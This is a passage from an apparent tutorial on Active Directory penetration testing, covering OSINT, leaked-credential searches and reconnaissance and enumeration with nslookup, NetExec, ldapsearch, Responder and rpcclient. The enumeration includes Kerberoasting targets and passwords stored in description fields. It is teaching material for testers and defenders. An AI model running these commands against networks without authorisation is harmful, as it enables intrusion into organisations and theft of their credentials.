Skip to content

Table of Contents

Active Directory Penetration Testing Part 1: Reconnaissance, Enumeration, Initial Access, and Exploitation

Active Directory

 Active Directory security assessments. This installment focuses on the first half of the attack lifecycle, everything from initial scoping through credential exploitation – with up-to-date techniques, tooling, and defensive guidance for 2026.


Most enterprise breaches don’t start with a zero-day. They start with a domain user account, a misconfigured service, and a patient attacker who knows how to ask Active Directory the right questions. The data is almost always there – in LDAP, in DNS, in the residue of legacy configurations – waiting for someone who knows where to look.

This guide is written for practitioners: penetration testers preparing for internal engagements, red teamers refining their methodology, and defenders who want to understand exactly how their environment gets compromised before someone else does. We’ll move systematically through every stage of the early attack lifecycle – reconnaissance, enumeration, initial access, and exploitation – with real command syntax, practical explanations of why each technique works, and specific detection guidance that blue teams can act on immediately.

What does “Active Directory penetration testing” cover?

Active Directory penetration testing is a structured security assessment simulating how an attacker – whether external or already inside the network – would identify, enumerate, access, and escalate privileges within a Windows domain. It covers protocol-level attacks against Kerberos and NTLM, LDAP enumeration, credential attacks, and the tooling ecosystem (BloodHound, Impacket, NetExec) used by both red teams and real-world threat actors.

Active Directory Fundamentals

You can’t attack a system you don’t understand. This isn’t just a platitude – it’s the reason experienced pentesters consistently find more than junior ones on the same network. They’ve internalized the architecture well enough to recognize when something is off, when a permission is misconfigured, or when a trust relationship creates an unintended path. Let’s build that foundation.

The Architecture: Logical Structure

Active Directory organizes its directory data into a logical hierarchy that every practitioner needs to know cold.

Forest – The absolute security boundary. All domains within a forest implicitly trust one another and share a common schema and Global Catalog. Compromising any domain in a forest often leads to compromising the rest. When you’re assessing a multi-domain environment, the forest boundary is the most important boundary you’ll encounter.

Tree – A collection of domains sharing a contiguous DNS namespace. corp.example.com and dev.corp.example.com form a tree rooted at corp.example.com. Parent-child trusts are bidirectional and transitive by default.

Domain – The core administrative unit. Security policies, password policies, user accounts, and group memberships are scoped per domain. This is the primary target of AD-focused attacks.

Organizational Unit (OU) – A container within a domain used to delegate administration and apply Group Policy Objects. OUs don’t form security boundaries, but their GPO links and delegation settings are frequent targets.

The Physical Layer: Domain Controllers

The Domain Controller (DC) is the server running Active Directory Domain Services (AD DS). It handles authentication, authorization, and directory queries for its domain. In any AD environment:

  • Every DC holds a copy of the domain’s ntds.dit database – the file storing all users, groups, password hashes, and Kerberos keys.
  • One DC holds the PDC Emulator FSMO role – the authoritative source for password changes, time synchronization, and account lockouts. This is typically the highest-priority DC to target.
  • DCs replicate with each other constantly. Compromise one, and you’ve effectively compromised the directory data for the whole domain.

Authentication Protocols: The Attacker’s Perspective

Active Directory uses two protocols for authentication, and both have attack surfaces that are exploited in virtually every internal engagement.

Kerberos

Kerberos is the preferred, ticket-based protocol. Here’s the lifecycle – annotated for attackers:

StepMessageWhat’s HappeningAttack Surface
1AS-REQClient requests a TGT, sends encrypted timestampPassword guessing / spraying
2AS-REPKDC issues TGT encrypted with krbtgt hashAS-REP Roasting (if pre-auth disabled)
3TGS-REQClient presents TGT, requests service ticket
4TGS-REPKDC issues TGS encrypted with service account hashKerberoasting
5AP-REQClient presents TGS to target servicePass-the-Ticket

The critical insight: the client never needs to know the krbtgt hash or the service account’s password to receive these tickets. Any authenticated domain user can trigger steps 1-4. That’s why Kerberoasting and AS-REP Roasting require only a standard domain account to execute.

NTLM

NTLM is the legacy challenge-response protocol, still present in most environments for backward compatibility. Its three-message flow (Negotiate → Challenge → Authenticate) is fundamentally weaker than Kerberos:

  • The authentication response is derived from the user’s password hash, which can be captured and cracked offline (LLMNR/NBT-NS poisoning, Responder).
  • The hash itself can be reused directly (Pass-the-Hash), bypassing the need to crack it.
  • There’s no mutual authentication – the client can’t verify the server’s identity, enabling relay attacks.

Rule of thumb for attackers: If the target is reachable by hostname, Kerberos is likely. If by IP address, NTLM is forced. Understanding when NTLM is in play helps you choose the right technique.

Modern Active Directory Threat Landscape (2026)

The fundamentals of Active Directory attacks haven’t changed dramatically since 2020. Kerberoasting still works. LLMNR poisoning still works. DACL misconfigurations still exist in nearly every environment. What has changed is the defensive tooling deployed against them – and the adaptations attackers have made in response.

What’s Changed Since 2024

Microsoft’s Expanded Hardening Defaults

Microsoft has gradually shifted its default settings toward security. In recent Windows Server and Azure AD (now Entra ID) releases:

  • NTLM is increasingly restricted by default in newer domain functional levels. Organizations upgrading to Windows Server 2025 domain functional level are seeing automatic NTLM audit enforcement, with disablement on the roadmap.
  • SMB signing is now enforced by default on Windows 11 and Windows Server 2025. This has meaningfully reduced the effectiveness of NTLM relay in homogeneous environments – but most enterprises still have a long tail of legacy systems.
  • The Print Spooler service is disabled by default on new Windows Server 2025 installations, closing off many PrinterBug/SpoolSample coercion paths.

What this means for pentesters in 2026: The low-hanging fruit isn’t as universally available as it was, but it’s still present in the overwhelming majority of real environments – particularly those with mixed OS versions or delayed patch cycles. Hybrid environments (on-prem AD plus Entra ID) have also introduced new attack surfaces around Azure-side token abuse and cross-cloud escalation paths.

The Rise of MDR and EDR Coverage

Endpoint Detection and Response tools (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) have become near-ubiquitous in enterprise environments. This has changed how attacks are executed more than whether they can be:

  • In-memory tools (Mimikatz, Rubeus) are heavily signatured. Operators increasingly use custom loaders, obfuscated assemblies, or abuse legitimate binaries (LOLBins).
  • Process injection and LSASS dumping are highly monitored. Direct sekurlsa::logonpasswords runs in modern environments often trigger immediate alerts.
  • Network-level detection has improved. Behavioral analytics catch anomalous LDAP query volumes, unusual TGS request patterns, and lateral movement indicators.

What this means for pentesters in 2026: Stealth matters more. Understanding your target’s EDR capabilities and testing accordingly is part of modern AD engagements. The techniques in this guide are fundamentally sound; delivery and evasion are where engagement-specific planning is required.

BloodHound Community Edition (CE) and Expanded Attack Paths

BloodHound Community Edition has been redesigned from the ground up with a new backend, real-time attack path analysis, and continuously updated attack primitives. The tool now includes cross-forest, Entra ID, and Azure-side attack path analysis, reflecting how modern hybrid environments actually look.

Entra ID / Hybrid Attack Surfaces

Many environments now have a sync between on-premises AD and Entra ID (formerly Azure AD) via Entra Connect. This creates cross-direction attack paths:

  • A compromised on-prem account may have Entra ID privileges.
  • An Entra ID account with write access to cloud objects can sometimes be leveraged back into on-prem AD.
  • The Entra Connect sync account itself is a high-value target — it often has DCSync rights on-premises.

This guide focuses on on-premises AD, but in any hybrid environment, the Entra Connect server and its service account should be on your high-priority target list.

Reconnaissance

Reconnaissance is the systematic collection of intelligence before any active interaction with target systems. Done well, it shapes everything that follows: which attack paths are worth pursuing, which accounts are most likely to yield access, which technologies you’re up against, and where you’re most likely to find your first foothold. Done poorly – or skipped entirely – you’re shooting blind and making noise that defenders can hear.

Reconnaissance in Active Directory environments breaks cleanly into three progressive phases. Each builds on the last, and each requires a different mindset, toolset, and level of operational stealth.

 
 
PhaseApproachNetwork InteractionDetection RiskPrimary Output
Phase 1Passive ReconNoneZeroUser lists, email formats, technology stack, breached credentials
Phase 2Network Recon (Unauthenticated)Active, uncredentialedLow to ModerateDC addresses, domain name, open ports, DNS structure, SMB signing status
Phase 3Internal Domain IdentificationActive, from insideLow (if done carefully)Domain policy, trusted DCs, domain functional level

Phase 1: Passive Recon – No Network Interaction

Before touching the target network – before running a single scanner or sending a single packet – gather everything available from public, third-party, and historical sources. This phase leaves zero footprint in the target’s logs and often yields the most surprising results.

OSINT for Active Directory Environments

Modern enterprises leak Active Directory intelligence constantly through channels their security teams rarely monitor. Harvest systematically:

Employee Intelligence Sources

  • LinkedIn – Employee names, job titles, tenure length, technology stack keywords (“Active Directory,” “Windows Server,” “CrowdStrike,” “Okta,” “Entra ID”), reporting structures, and recent departures (who might have offboarded poorly)

  • Glassdoor / Indeed – Job postings explicitly list technology requirements: “Windows Server 2022 administration,” “AD FS configuration,” “Azure Entra Connect management.” These are direct disclosures of the environment stack

  • Company “About Us” / Team pages – Names, email addresses, professional histories

Technical Intelligence Sources

  • GitHub – Search for org:companyname repos, but more importantly, search for internal tooling names, employee usernames, and strings that appear in error messages. Use:

    github.com/search?q="corp.example.com"+password
    github.com/search?q="contoso"+internal+script

    Look for leaked .config files, CI/CD pipeline definitions, Dockerfiles with embedded domain references, and accidentally committed ntds.dit excerpts (rare but real)

  • Certificate Transparency Logs (crt.sh) — Subdomain discovery that often reveals internal naming conventions and hostnames reachable via public TLS certificates:

    https://crt.sh/?q=%25.example.com
  • Shodan / Censys / BinaryEdge – Exposed RDP, LDAP, or WinRM on non-standard ports; SSL certificates revealing internal hostnames; banner grabs showing Windows version and domain membership:

    shodan search "port:389 country:US org:CompanyName"
    censys search "services.port:636 and metadata.company_name: CompanyName"

Email Format Enumeration
The single most valuable passive recon output is the corporate email format. One confirmed address reveals the pattern for thousands of accounts:

 
 
InputPatternProbable Format
John Smithjsmith@company.comfirst initial + last name
john.smith@company.comjohn.smith@…first.last
smith.john@company.comsmith.john@…last.first
jsmith@company.comjsmith@…initial + last (most common)

Confirmation techniques (still passive):

  • Check public Git commits for author email addresses

  • Search LinkedIn → view public profile → sometimes the email is visible or guessable from the profile URL

  • Use theHarvester against the domain (DNS enumeration is technically active, but low-signature):

    theHarvester -d example.com -b google,linkedin,bing -l 500

Hunting for Leaked Credentials

Before spending hours on password spraying or hash cracking, check whether the target’s users have already leaked their credentials elsewhere. This is the highest-ROI reconnaissance activity available.

Breach Aggregators

Dehashed (paid, API key required)
dehashed -q "domain:company.com" -o results.json
dehashed -q "email:*@company.com" --fields email,password,hash

Snusbase (paid)
snusbase -d company.com -t email

Have I Been Pwned (free API for domain search, requires subscription)
curl -X GET "https://haveibeenpwned.com/api/v3/breacheddomain/company.com" \
  -H "hibp-api-key: YOUR_KEY"

Leaked Paste Sites

Automate Pastebin, Ghostbin, and other paste sites
python3 pasteHunter.py -d company.com

Telegram and Discord Channels – Breach dumps are frequently shared in private Telegram channels. Monitoring public channels with tools like Telegram-Scraper can surface corporate credentials.

Real-world note: In approximately 15-20% of internal engagements, a valid set of domain credentials appears in breach data from an unrelated third-party breach years earlier. Users recycle passwords. Defenders rarely check. This is often the path of least resistance.

Technology Stack Inference

Build a picture of the defensive landscape before you ever touch the network:

 
 
SourceWhat It Reveals
Job postings“Managing CrowdStrike Falcon,” “SentinelOne experience,” “Microsoft Defender for Endpoint deployment” → EDR stack
Employee certifications“MCSE: Core Infrastructure,” “Azure Administrator Associate” → likely Microsoft-heavy, possibly hybrid
Press releases“Migrated to Azure in 2024” → likely Entra ID hybrid, possibly legacy on-prem still present
Security.txt filesSome organizations publish security contacts and PGP keys; occasionally reveal internal tooling
DNS records (passive)SecurityTrails, DNSdumpster → subdomain enumeration without direct queries

Phase 2: Network Reconnaissance – Active, Unauthenticated

Once you have network access – either through a VPN, a physical office drop, or an initial implant – Phase 2 begins. This is active interaction with the target network, but still without credentials. The goal: identify Domain Controllers, map DNS structure, discover live hosts, and characterize the Active Directory footprint.

Identifying Domain Controllers via DNS

Active Directory publishes its services through DNS SRV records because domain-joined clients need to find them. These records are often accessible to unauthenticated queries from inside the network.

Essential DNS Reconnaissance Commands

Find all Domain Controllers in the domain
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.example.com
nslookup -type=SRV _kerberos._tcp.corp.example.com
nslookup -type=SRV _gc._tcp.corp.example.com

Using dig (more verbose, better for scripting)
dig SRV _ldap._tcp.dc._msdcs.corp.example.com @192.168.1.1
dig SRV _kerberos._tcp.corp.example.com @192.168.1.1
dig ANY _tcp.corp.example.com @192.168.1.1

Zone transfer attempt — rare but always worth 10 seconds
dig axfr @192.168.1.1 corp.example.com

What Successful Zone Transfer Reveals (complete DNS zone):

  • Every internal hostname and IP address

  • Service records revealing application servers (SQL, Exchange, SharePoint)

  • Naming conventions used across the organization

  • Potential staging servers or dev environments with weaker security

If zone transfers fail (they almost always will in modern environments), use DNS brute-force enumeration:

DNS brute-force with dnsrecon
dnsrecon -d corp.example.com -D /usr/share/wordlists/dnsmap.txt -t brt

Using fierce (more targeted)
fierce --domain corp.example.com --dns-servers 192.168.1.1

Using ldapsearch to query DNS records if anonymous LDAP is open
ldapsearch -x -H ldap://192.168.1.100 -b "DC=corp,DC=example,DC=com" "(&(objectClass=server)(dNSHostName=*))" dNSHostName

Port Scanning for Active Directory Footprint

With a suspected IP range or a list of discovered hosts, scan for Active Directory-specific service ports. Speed matters, but completeness matters more for the initial landscape map.

Rustscan for Speed, Nmap for Depth

Rustscan — ultra-fast port discovery
rustscan -a 192.168.1.0/24 --ulimit 5000 -t 2000 -- -sV --open

Targeted Nmap scan for Active Directory ports only
nmap -p 88,135,139,389,445,464,636,3268,3269,5985,5986,9389,49152-65535 \
--open -sV -sC -T4 192.168.1.0/24 -oA ad_full_scan

Stealthier scan — slower, less likely to trigger IDS
nmap -p 389,445,88 --open -sV -T2 --max-retries 1 192.168.1.0/24

What Each Port Tells You in an Active Directory Context

 
 
PortServiceWhat It RevealsRed Team Significance
53DNSDomain name, DC identityZone transfer attempts; host enumeration
88KerberosAlmost certainly a Domain ControllerKerberoasting, AS-REP roasting, ticket attacks possible
135RPCRemote procedure callLateral movement; DCOM abuse
139/445NetBIOS/SMBFile sharing; domain membershipNTLM relay; pass-the-hash; share enumeration
389LDAPDirectory accessible for queriesAnonymous bind possible? User enumeration
636LDAPSEncrypted LDAPSame as 389 but encrypted; often less monitored
3268/3269Global CatalogMulti-domain forestCross-domain querying; forest-wide intel
464Kerberos password changeDC indicatorPassword spray detection evasion
5985/5986WinRM (HTTP/HTTPS)Remote PowerShellLateral movement target
9389ADWSActive Directory Web ServicesNewer query interface; sometimes less logged
49152-65535RPC high portsDynamic RPC endpointsDC-specific ephemeral range

Uncredentialed SMB Reconnaissance

SMB reveals an extraordinary amount of information even without credentials. The SMB banner alone provides the domain name, Windows version, hostname, and whether SMB signing is required – all in one packet.

NetExec SMB Sweep – The Single Most Information-Dense First Step

Basic SMB sweep — domain name, OS version, hostname
netexec smb 192.168.1.0/24

Generate relay target list (hosts with SMB signing disabled)
netexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

Enumerate SMB shares anonymously
netexec smb 192.168.1.0/24 --shares

Check for null session access (rare but valuable)
netexec smb 192.168.1.0/24 -u '' -p '' --shares

Enumerate users via SMB (RID cycling)
netexec smb 192.168.1.0/24 -u '' -p '' --rid-brute

Legacy SMB Null Session Enumeration

While disabled by default on modern Windows, null sessions still appear on older or misconfigured systems:

Using enum4linux-ng (modern rewrite of enum4linux)
enum4linux-ng -A 192.168.1.100

Manual rpcclient null session
rpcclient -U "" -N 192.168.1.100
> enumdomains
> enumdomusers
> querydispinfo
> enumalsgroups builtin

What a null session reveals (when available):

  • Full domain user list

  • Domain groups and memberships

  • Domain policies and password requirements

  • Share listings

  • Service accounts (by naming convention)

  • Last logon timestamps (identifying stale accounts)

LLMNR/NBT-NS Listener Discovery

Before you’re in a position to poison, you can passively discover whether LLMNR and NBT-NS are active on the network. This shapes your initial access strategy.

Passive capture mode — listens but never responds
sudo responder -I eth0 -A

Run for 30-60 minutes during business hours
Count unique requests per source IP
High volume of "WHATEVER-SERVER" lookups? LLMNR is alive.

If Responder shows constant broadcast traffic with no DNS responses, the network has name resolution failures – and LLMNR/NBT-NS is almost certainly enabled and usable.

Uncredentialed LDAP Reconnaissance

Some Active Directory environments allow anonymous LDAP binds. This is less common than a decade ago but still appears, especially in legacy-integrated environments or poorly secured dev domains.

Test for anonymous bind
ldapsearch -x -H ldap://192.168.1.100 -b ""

If successful, enumerate directory structure
ldapsearch -x -H ldap://192.168.1.100 -b "DC=corp,DC=example,DC=com"

Enumerate users (if anonymous bind works)
ldapsearch -x -H ldap://192.168.1.100 -b "DC=corp,DC=example,DC=com" \
  "(objectClass=user)" sAMAccountName

Check for naming contexts
ldapsearch -x -H ldap://192.168.1.100 -b "" -s base namingContexts

Phase 3: Identifying the Domain From Inside

Once you have execution on a machine inside the network – even without domain credentials – you can confirm the domain name, identify Domain Controllers, and extract domain policy information using the machine’s existing domain membership (if any) or network environment variables.

From a Windows Host (Domain-Joined or Workgroup)

If the machine is domain-joined, extraction is trivial:

Display domain membership
systeminfo | findstr /B /C:"Domain"
echo %USERDOMAIN%
whoami /fqdn

DNS resolution for domain controllers
nslookup -type=SOA .
nslookup -type=SRV _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%

Net config
net config workstation | findstr "Domain"

If the machine is not domain-joined but has network access, Windows still caches domain information from network traffic:

Query DNS for DC records
Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.corp.example.com

Get current network adapter DNS suffix
Get-DnsClientGlobalSetting | Select-Object SuffixSearchList

From a Linux Host on the Internal Network

Linux on the internal network can discover the Active Directory domain without Windows tools:

SMBCLIENT banner grab
smbclient -L //192.168.1.100 -N

NetExec from Linux (same as Windows)
netexec smb 192.168.1.100

nmap SMB script
nmap -p 445 --script smb-os-discovery 192.168.1.100

Using dig to find domain from DC IP (reverse PTR)
dig -x 192.168.1.100

Determining Domain Functional Level (Before Credentials)

The domain functional level determines which attack primitives are available. It can sometimes be obtained without authentication:

From LDAP rootDSE (often readable anonymously)
ldapsearch -x -H ldap://192.168.1.100 -b "" -s base domainFunctionality

# Values:
# 0 = Windows 2000
# 2 = Windows Server 2003
# 3 = Windows Server 2008
# 4 = Windows Server 2008 R2
# 5 = Windows Server 2012
# 6 = Windows Server 2012 R2
# 7 = Windows Server 2016
# 8 = Windows Server 2019
# 9 = Windows Server 2022

Higher functional levels (2016+) mean:

  • NTLM likely restricted or audited

  • AES Kerberos encryption enforced (better for cracking, worse for downgrade attacks)

  • Default domain policy stronger (but still often weak)


Reconnaissance Output Documentation

Professional reconnaissance is useless if not documented systematically. Create a recon tracking document with these sections before moving to enumeration:

 
 
CategoryData CollectedNotes
Domain InformationDomain name, DC IPs, functional level, forest name 
User IntelligenceEmail format, employee names, job titles, potential usernames 
Password IntelligenceBreach hits, common password patterns, password policy (if obtained) 
Network TopologyIP ranges, live hosts, DC locations, subnet structure 
Defensive LandscapeEDR (from job postings), SMB signing status, LLMNR/NBT-NS activity 
Quick WinsAnonymous LDAP, null sessions, breach credentials, exposed shares 
Next Phase TargetsWhich DC to query first? Which user for initial spray? 

Red Team Note: Reconnaissance is the phase where patience pays most. Do not rush to Phase 3 (Enumeration) until Phase 1 and 2 have yielded everything they can. The best penetration testers  spend 30-40% of their total engagement time in recon and finish faster because they aren’t chasing dead ends.

Enumeration

Enumeration is what happens after you have credentials – or in some cases, even before, if anonymous access is misconfigured. It is the disciplined process of extracting structured intelligence from Active Directory: users, groups, computers, group policies, trusts, Service Principal Names (SPNs), delegation settings, and DACLs (Discretionary Access Control Lists). This is the phase where the attack graph gets drawn, where theoretical paths become concrete targets, and where the difference between a shallow assessment and a deep compromise is determined.

The Fundamental Truth of Active Directory Enumeration: With a single set of domain user credentials – even the most low-privileged account in the domain – you can query nearly the entire directory. This is not a vulnerability. This is by design. Active Directory was built for accessibility, administration, and ease of use, not for minimal disclosure. Defenders cannot easily block authenticated enumeration without breaking legitimate business functionality. That asymmetry is the attacker’s enduring advantage.

Enumeration Strategy: Where to Start

Before running a single command, understand what you already have and what you’re looking for:

 
 
If You Have…Start With…Looking For…
Low-privilege domain userLDAP user enumerationService accounts, privileged groups, password policies
Local admin on a workstationPowerView / SharpViewLocal admin access elsewhere, domain trust relationships
No credentials (anonymous access)Null session testsAny accessible data before authentication
Compromised service accountSPN enumeration, delegationKerberoasting targets, constrained delegation paths

Authenticated LDAP Enumeration

LDAP (Lightweight Directory Access Protocol) is the primary query interface for Active Directory. With credentials, you can ask the directory almost anything. The only limits are:

  • Permissions — Some attributes (like unicodePwd) are not readable by standard users

  • Auditing — LDAP queries are often logged, but volume makes manual review impractical

Using ldapsearch (Linux)

ldapsearch is the standard LDAP query tool on Linux. It’s lightweight, scriptable, and works from any system with network access to a Domain Controller.

Basic Authenticated Query Structure

ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com"

Breakdown of Parameters:

 
 
ParameterPurposeExample
-xUse simple authentication (not SASL)Required for most basic binds
-H ldap://hostLDAP server addressldap://192.168.1.100 or ldap://dc01.corp.example.com
-DBind DN (Distinguished Name)User principal name or full DN
-wPasswordPlaintext (use -W for prompt in scripts)
-bBase DNWhere to start the search

Essential User Enumeration Queries

All users with key attributes (samAccountName, description, mail, title, department)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(objectClass=user)" \
  sAMAccountName description mail title department manager lastLogonTimestamp

Enabled users only (excluding disabled accounts)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
  sAMAccountName

Users whose passwords never expire (high-value targets)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
  sAMAccountName pwdLastSet

Recently modified accounts (last 30 days)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=user)(whenChanged>=20260101000000.0Z))" \
  sAMAccountName whenCreated whenChanged

Group Enumeration Queries

All groups with members
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(objectClass=group)" \
  cn member groupType

Nested group membership (important for privilege escalation)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com)" \
  sAMAccountName

High-privilege groups to check
# - Domain Admins
# - Enterprise Admins (forest-wide)
# - Schema Admins (extreme privilege)
# - Administrators
# - Account Operators
# - Server Operators
# - Backup Operators
# - DnsAdmins
# - Exchange Windows Permissions

Computer Enumeration Queries

All computers with OS versions
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(objectClass=computer)" \
  name operatingSystem operatingSystemVersion dNSHostName whenCreated

Computers by OS (e.g., legacy Windows 7/Server 2008)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=computer)(operatingSystem=*2008*))" \
  name operatingSystem dNSHostName

Domain Controllers specifically
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "OU=Domain Controllers,DC=corp,DC=example,DC=com" \
  "(objectClass=computer)" name dNSHostName

Service Account and SPN Enumeration

All service accounts (have SPNs, not computers)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
  sAMAccountName servicePrincipalName pwdLastSet

Managed Service Accounts (gMSAs)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=msDS-GroupManagedServiceAccount))" \
  name msDS-ManagedPasswordId

Using NetExec for Fast, Structured LDAP Enumeration

netexec (formerly CrackMapExec) wraps LDAP queries into clean, readable output. It’s faster than raw ldapsearch for standard enumeration tasks and includes helpful modules.

Basic LDAP Enumeration

List all domain users (simplified output)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --users

List all domain groups
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --groups

List all computers
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --computers

Get domain password policy (critical for spraying safety)
netexec smb 192.168.1.100 -u jsmith -p 'Password1' --pass-pol

Get domain trust relationships
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --trusted-domains

The Description Field Module (get-desc-users)

The get-desc-users module deserves special attention. In real-world assessments, finding plaintext passwords in the description or info fields of user accounts — particularly service accounts — is one of the most common, consistently reliable findings. IT administrators have a long, intractable habit of using the description field as a scratchpad for credentials.

Extract all user descriptions and info fields
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M get-desc-users

Example output showing plaintext credentials:
# [*] Getting descriptions
# [*] User: svc_backup description: "backup account - password: Backup2024!"
# [*] User: sql_service description: "SQL Service Acct - P@ssw0rd123"
# [*] User: admin_john description: "Temp admin - do not delete"

Password Spray Preparation Module

Get locked-out and disabled users to exclude from spraying
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' \
--locked-users --disabled-users

Export user list for spraying (excluding service accounts with high lockout risk)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' \
  --users | grep -v "krbtgt" | grep -v "$" > valid_users.txt

Additional Useful NetExec LDAP Modules

Find AS-REP roastable users (no Kerberos pre-authentication)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M asreproast

Find Kerberoastable users (SPNs)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M kerberoast

Find admin count = 1 (privileged accounts protected by SDProp)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M admincount

Enumerate password not required accounts
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M password-not-required

Find users who can authenticate from any workstation (no restriction)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M user-workstations

Essential LDAP Filters for Pentesters

LDAP filters are the core of precise directory enumeration. Understanding these filters — and the userAccountControl bitmask values they rely on — separates junior enumerators from experienced ones.

The userAccountControl Bitmask

userAccountControl is a bitmask where each bit represents a specific account property. To check if a bit is SET, use: (userAccountControl:BITWISE_OPERATOR:=BITVALUE)

 
 
Bit ValueHexPropertyWhen You Want…
20x0002ACCOUNTDISABLEExclude disabled accounts
160x0010LOCKOUTExclude locked accounts
320x0020PASSWD_NOTREQDWeak password policy targets
640x0040PASSWD_CANT_CHANGECannot rotate credentials
5120x0200NORMAL_ACCOUNTStandard user accounts
655360x10000DONT_EXPIRE_PASSWORDLong-lived credentials
41943040x400000DONT_REQ_PREAUTHAS-REP Roasting targets
5242880x80000TRUSTED_FOR_DELEGATIONUnconstrained delegation
83886080x800000TRUSTED_TO_AUTH_FOR_DELEGATIONConstrained delegation

The Complete Filter Reference Table

 
 
Target DescriptionLDAP Filter
All enabled user accounts (excluding disabled)(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
All enabled computers (excluding disabled)(&(objectClass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
AS-REP Roastable accounts (no Kerberos pre-auth)(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Kerberoastable accounts (has SPNs, not computers)(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))
Accounts with never-expiring passwords(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))
Accounts with password not required(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))
Unconstrained delegation (non-DCs)(&(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))
Constrained delegation (has delegation targets)(msDS-AllowedToDelegateTo=*)
Resource-Based Constrained Delegation(msDS-AllowedToActOnBehalfOfOtherIdentity=*)
Domain Admin group members(&(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com))
Enterprise Admin group members(&(memberOf=CN=Enterprise Admins,CN=Users,DC=corp,DC=example,DC=com))
AdminCount=1 accounts (privileged, SDProp protected)(&(objectClass=user)(adminCount=1))
Disabled accounts(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))
Locked-out accounts(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16))
Accounts that are members of a specific group(&(objectClass=user)(memberOf=CN=GroupName,CN=Users,DC=corp,DC=example,DC=com))
Nested group membership (one level)(&(objectClass=group)(member=CN=User,CN=Users,DC=corp,DC=example,DC=com))
Groups with a specific member(&(objectClass=group)(member=CN=UserName,CN=Users,DC=corp,DC=example,DC=com))
Group Managed Service Accounts (gMSAs)(objectClass=msDS-GroupManagedServiceAccount)
All Organizational Units(objectClass=organizationalUnit)
All Group Policy Objects(objectClass=groupPolicyContainer)
Domain Controllers(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))

Using ldapsearch with Advanced Filters

Domain Admins (replace DN with your domain structure)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com))" \
  sAMAccountName

Service accounts with never-expiring passwords (high risk)
ldapsearch -x -H ldap://192.168.1.100 \
  -D "jsmith@corp.example.com" -w 'Password1' \
  -b "DC=corp,DC=example,DC=com" \
  "(&(objectClass=user)(servicePrincipalName=*)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
  sAMAccountName servicePrincipalName pwdLastSet

SMB Enumeration (Authenticated)

SMB (Server Message Block) is often the richest source of intelligence in the early enumeration stage. Even with minimal permissions, share enumeration frequently yields sensitive files — password lists, configuration files, scripts with embedded credentials, and backup archives.

Share Enumeration

List all accessible shares with current credentials
netexec smb 192.168.1.100 -u jsmith -p 'Password1' --shares

Detailed share contents
smbclient //192.168.1.100/SYSVOL -U "corp.example.com/jsmith%Password1" -c "ls"

Recursive share listing (manual)
smbclient //192.168.1.100/ShareName -U "jsmith%Password1" -c "recurse;ls"

High-Value SMB Targets

 
 
